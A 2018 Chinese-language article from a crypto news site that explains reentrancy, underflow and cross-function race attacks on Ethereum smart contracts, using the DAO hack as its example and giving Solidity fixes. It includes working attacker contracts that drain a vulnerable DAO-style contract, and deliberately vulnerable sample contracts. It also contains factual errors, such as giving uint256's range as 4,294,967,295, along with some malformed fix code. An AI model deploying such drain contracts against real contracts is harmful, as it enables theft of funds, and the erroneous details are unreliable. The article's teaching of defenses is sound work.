2018-07-26 08:28

动不动就出事,智能合约攻击该怎么办?

如果你在数字货币世界待过足够时间,也许你听说过1或2个智能合约攻击事件,这些攻击导致了几千万美元的盗窃损失。最著名的攻击是DAO事件,这是数字货币世界最受期待的项目之一,同时也是智能合约的改革。虽然很多人听说过这些攻击,但是很少人知道到底发生了什么,是怎么发生的,以及如何避免这些错误。

智能合约是动态的,复杂的以及难以置信地强大。虽然他们的潜力是很难想象,但是也不可能一夜之间就成为了攻击的对象。也就是说,对于往后的数字货币,我们可以从之前的错误中学到经验,然后一起成长。虽然DAO是已经发生的事情,但是这对于开发者,投资者,以及社区成员对于智能合约攻击来说,都是一个很好的例子。

今天,我想和大家聊聊从DAO事件中,我们学到的3件事。

 

攻击#1:重入攻击

 

当攻击者通过对目标调用提款操作的时候,重入攻击就会发生,就好像DAO事件一样。当合约不能在发出资金之前更新状态(用户余额),攻击者就可以连续进行提取函数调用,来获得合约中的资金。任何时候攻击者获得以太币,他的合约都会自动地调用反馈函数,function (),这就再次调用了提现合约。这时候,攻击就会进入递归回路,这时候这个合约中的资金就会转入攻击者。因为目标合约都在不停地调用攻击者的函数,这个合约也不会更新攻击者的余额。当前的合约不会发现有任何问题,更清楚地说,合约函数中包含反馈函数,当合约收到以太币和零数据的时候,合约函数就会自动执行。

 

攻击流程

 

1.攻击者将以太币存入目标函数 2.目标函数就会根据存入的以太币而更新攻击者的约 3.攻击者请求拿回资金 4.资金就会退回 5.攻击者的反馈函数生效,然后调用提现功能 6.智能合约的逻辑就会更新攻击者的余额,因为提现又被成功调用 7.资金发送到攻击者 8.第5-7步重复使用 9.一旦攻击结束,攻击者就会把资金从他们自己的合约发送到个人地址

1*UeDgMZo2n0skHzgkl352zQ

 

重入攻击的递归回路

很不幸地是,一旦这个攻击开始,无法停下。攻击者的提现功能会被一次次地调用,直到合约中的燃料跑完,或者被害者的以太币余额被消耗光。

 

代码

 

下面就是DAO合约的简单版本,其中会包括一些介绍来为这些不熟悉代码/ solidity语言更好地理解合约。

contract babyDAO {

/* assign key/value pair so we can look up credit integers with an ETH address */ mapping (address => uint256) public credit;

/* a function for funds to be added to the contract, sender will be credited amount sent */ function donate(address to) payable { credit[msg.sender] += msg.value; }

/*show ether credited to address*/ function assignedCredit(address) returns (uint) { return credit[msg.sender]; }

/*withdrawal ether from contract*/ function withdraw(uint amount) { if (credit[msg.sender] >= amount) { msg.sender.call.value(amount)(); credit[msg.sender] -= amount; } } }

如果我们看下函数withdraw(),我们可以看到DAO合约使用address.call.value()来发送资金到msg.sender。不仅如此,在资金发出后,合约会更新credit[msg.sender]的状态。攻击者在发现了合约代码中的问题,就能够使用类似下面的ThisIsAHodlUp {}来将资金转入contract babyDAO{}合约。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {

/* assign babyDAO contract as "dao" */ babyDAO public dao = babyDAO(0x2ae...); address owner;

/*assign contract creator as owner*/ constructor(ThisIsAHodlUp) public { owner = msg.sender; }

    /*fallback function, withdraws funds from babyDAO*/
    function() public { 
        dao.withdraw(dao.assignedCredit(this));
    }

/*send drained funds to attacker’s address*/ function drainFunds() payable public{ owner.transfer(address(this).balance); } }

需要注意地是,这个后退函数,function(),会调用DAO或者babyDAO{}的提现函数,来从合约中盗取资金。从另个方面来说,当攻击者想要把所有偷窃来的资金赚到他们的地址,drainFunds()功能会被调用。

 

解决方案

 

现在,我们应该清楚重放攻击会利用两个特别的智能合约漏洞。第一个是当合约的状态在资金发出之后,而不是之前进行更新。由于在发出资金前无法更新合约状态,函数就会在中间计算的时候被打断,合约也认为资金其实还没有发出。第二个漏洞就当合约错误地使用address.call.value()来发出资金,而不是address.transfer() 或者 address.send()。这两个都受限于2300gas,只记录一个事件而不是多个外部调用。

contract babyDAO{
    ....
    function withdraw(uint amount) {
        if (credit[msg.sender] >= amount) {
        credit[msg.sender] -= amount; /* updates balance first */
        msg.sender.send(amount)(); /* send funds properly */
        }
}

攻击2:下溢攻击

 

虽然DAO合约不会让受害者掉入下溢攻击,我们能够通过现有的babyDAO contract{}来更好地理解这些攻击为什么会发生。

首先,我们需要理解什么是256单位制。一个256单位制是由256个字节组成。以太坊的虚拟机是使用256字节来完成的。因为以太坊虚拟机受限于256字节的大小,所以数字的范围是0到4,294,967,295 (2²⁵⁶)。如果我们超过这个范围,那么数字就会重置到范围的最底部(2²⁵⁶ + 1 = 0)。如果我们低于这个范围,这个数字就会重置到这个范围的顶端(0–1= 2²⁵⁶)。

当我们从零中减去大于零的数,就会发生下溢攻击,导致一个新的2²⁵⁶数集。现在,如果攻击者的余额发生了下溢,那么这部分余额就会更新,从而导致整个资金被盗。

 

攻击流程

 
  1. 攻击者通过发出1Wei到目标合约,来启动攻击。
  2. 合约认证发出资金的人
  3. 随后调用1Wei的提现函数
  4. 合约会从发送者的账户扣除的1Wei,现在账户余额又是零
  5. 因为目标合约将以太币发给攻击者,攻击者的退回函数被处罚,所以提现函数又被调用。
  6. 提现1Wei的事件被记录
  7. 攻击者合约的余额就会更新两次,第一次是到零,第二次是到-1。
  8. 攻击者的余额回置到2²⁵⁶
  9. 攻击者通过提现目标合约的所有资金,从而完成整个攻击

代码

 
    /*donate 1 wei, withdraw 1 wei*/
    function attack() {
        dao.donate.value(1)(this);
        dao.withdraw(1);
    }

/*fallback function, results in 0–1 = 2**256 */ function() { if (performAttack) { performAttack = false; dao.withdraw(1); } }

/*extract balance from smart contract*/ function getJackpot() { dao.withdraw(dao.balance); owner.send(this.balance); } }

解决方案

 

为了防止受害人陷入下溢攻击,最好的方法是看更新的状态是否在字节范围内。我们可以添加参数来检查我们的代码,作为最后一层保护。函数withdraw()的首行代码是为了检查是否有足够的资金,第二行是为了检查超溢,第三个是检查下溢。

contract babysDAO{

....

/*withdrawal ether from contract*/ function withdraw(uint amount) { if (credit[msg.sender] >= amount && credit[msg.sender] + amount >= credit[msg.sender] && credit[msg.sender] - amount <= credit[msg.sender]) { credit[msg.sender] -= amount; msg.sender.send(amount)(); } }

需要注意,就像我们之前讨论,我们上面的代码是在发出资金之前更新用户的余额。

 

攻击#3:跨函数竞争条件

 

最后要说的,就是跨函数竞争攻击。就像在重放攻击中所说,DAO合约不能正确的更新合约状态,并且可以让资金被盗窃。DAO问题和外部调用中的部分原因是跨函数竞争条件攻击的潜在原因。虽然以太坊中所有的转账是线性发生(一个在另一个后面), 外部调用(另一个合约或者地址的调用)如果没有被合理管理,就会成为灾难的导火线。在现实世界中,他们是完全可以避免的。当两个函数被调用并且分享同个状态,跨函数竞争条件攻击就会发生。这个合约就会想到,现在有两个合约状态存在,但是现实是只有一个真正的合约状态存在。我们不能同时获得X = 3和X = 4这两种结果。 让我们用一个例子来说明这个内容。

 

攻击和代码

 
contract crossFunctionRace{

mapping (address => uint) private userBalances;

    /* uses userBalances to transfer funds */
    function transfer(address to, uint amount) {
        if (userBalances[msg.sender] >= amount) {
            userBalances[to] += amount;
            userBalances[msg.sender] -= amount;
        }
    }
    /* uses userBalances to withdraw funds */
    function withdrawalBalance() public {
        uint amountToWithdraw = userBalances[msg.sender];
        require(msg.sender.send(amountToWithdraw)());
        userBalances[msg.sender] = 0;
    }
}
上面的合约有2个功能 – 一个是可以转移资金,另一个是提现资金。我们假设攻击者调用了函数transfer(),然后同时使用外部调用函数withdrawalBalance()。userBalance[msg.sender]的状态通过2个不同的方向被抽出。用户的余额还没有被设为0,但是尽管资金已经被提取,攻击者也能够转移资金。这样情况下,合约可以让攻击者使用双花,这也是区块链技术想要解决的问题之一。

注意:如果有函数分享状态,跨函数竞争条件攻击就会在多个合约中发生。 -在调用外部函数之前,应该完成所有的内部工作 -避免发生外部调用 -在不可避免地时候,使用外部函数“不可信” -在外部调用不可避免的情况下,使用互斥 根据下面的合约,我们可以看到一个例子1) 在完成外部调用之前,完成内部工作。2)将所有外部调用都设为“不可信”。我们的合约会让资金发送到一个地址,并且允许用户一次性将资金存入合同。

contract crossFunctionRace{

mapping (address => uint) private userBalances; mapping (address => uint) private reward; mapping (address => bool) private claimedReward;

    //makes external call, need to mark as untrusted
    function untrustedWithdraw(address recipient) public {
        uint amountWithdraw = userBalances[recipient];
        reward[recipient] = 0;
        require(recipient.call.value(amountWithdraw)());
    }

//untrusted because withdraw is called, an external call function untrustedGetReward(address recipient) public {

        //check that reward hasn’t already been claimed
        require(!claimedReward[recipient]); 

//internal work first (claimedReward and assigning reward) claimedReward = true; reward[recipient] += 100; untrustedWithdraw(recipient); } }

我们可以看出,这个合约的首个函数在发送资金到用户的合约/地址的时候,就会发生外部调用。同样地,奖励函数在发送一次性奖励的时候,也会使用提现函数,因为这也是不可信的。同样重要地是,合约需要执行所有内部工作。就好像重入攻击,函数untrustedGetReward()会在允许提现之前,让用户获得一次性的奖励,从而防止跨函数竞争条件攻击。
在真实世界,智能合约不需要依赖于外部调用。事实上,外部调用在很多情况下,在工作环境中都几乎不可能发生的。由于这个原因,使用互斥体来“锁定”一些状态,并且让拥有者有能力去改变状态,可以帮助防止这类灾难。虽然互斥体非常有效,但是当用于多个合约的时候,都会变的很棘手。如果你使用互斥体来防止这类攻击,你需要很仔细地确保没有其他方法来锁定,或者永远不会释放。如果使用互斥体的方法,在写入智能合约的时候,你需要保证你完全理解潜在的危险。
contract mutexExample{

mapping (address => uint) private balances; bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/ require(!lockBalances);

        /*lock, execute, unlock */
        lockBalances = true;
        balances[msg.sender] += msg.value;
        lockBalances = false;
        return true;
    }

function withdraw(uint amount) payable public returns (bool) {

        /*check if lockBalances is unlocked before proceeding*/
        require(!lockBalances && amount > 0 && balances[msg.sender]
        >= amount);
        /*lock, execute, unlock*/
        lockBalances = true;

if (msg.sender.call(amount)()) { balances[msg.sender] -= amount; }

lockBalances = false; return true; } }

以上,我们可以看到合约mutexExample()会有私人锁定状态,来实行deposit()函数功能和withdraw()函数。锁定会防止用户能够在所有的初步调用完成之前,成功完成withdraw()调用,可以防止任何种类的跨函数竞争条件攻击。

 

最后的结果

 

力量越大,责任越大。虽然区块链和智能合约技术每天都在革新,但是风险依然很高。攻击者从没有放弃去寻找机会来攻击这些合约。这取决于我们来保证,我们可以从之前项目的问题中学习经验,来让我们获得成长。希望通过这篇文章,以及其他系列文章,你可以更明白智能合约攻击。

本文链接:https://www.8btc.com/article/241026
转载请注明文章出处

评论(1)
登录 账号发表你的看法,还没有账号?立即免费 注册
merry 2018-07-31
http://blockmeta.com/tx/3be0ff19e514fd6dd55d62a810e012f7dc086a98128354bd6150ff5adf0565f1 非常感谢 赞助182.82 BTM
下载
分享
阅读
评论
1
点赞
上一篇
下一篇